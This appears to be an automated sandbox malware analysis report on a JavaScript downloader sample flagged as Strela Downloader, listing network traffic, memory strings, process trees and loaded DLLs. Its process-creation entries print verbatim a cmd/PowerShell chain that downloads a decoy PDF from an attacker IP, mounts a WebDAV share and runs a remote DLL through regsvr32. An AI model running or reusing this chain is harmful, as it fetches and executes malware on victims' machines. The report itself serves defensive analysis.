Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000006.00000003.1275312293.000001BEE38F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.1352537832.00000195E4A48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1352431685.00000195E4A18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1339347119.00000195E4A48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1337974314.00000195E4A6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000002.1352537832.00000195E4A48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1339347119.00000195E4A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/CCPC&
Source: net.exe, 0000000D.00000002.1352431685.00000195E4A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 0000000F.00000002.2575897681.0000026F33061000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 0000000F.00000003.1338042562.0000026F33200000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7452, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 37422659297833858.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/62@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7736:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_doe4foxu.b0h.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\37422659297833858.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1692,i,8005319115025688089,6454460865170598728,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1692,i,8005319115025688089,6454460865170598728,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
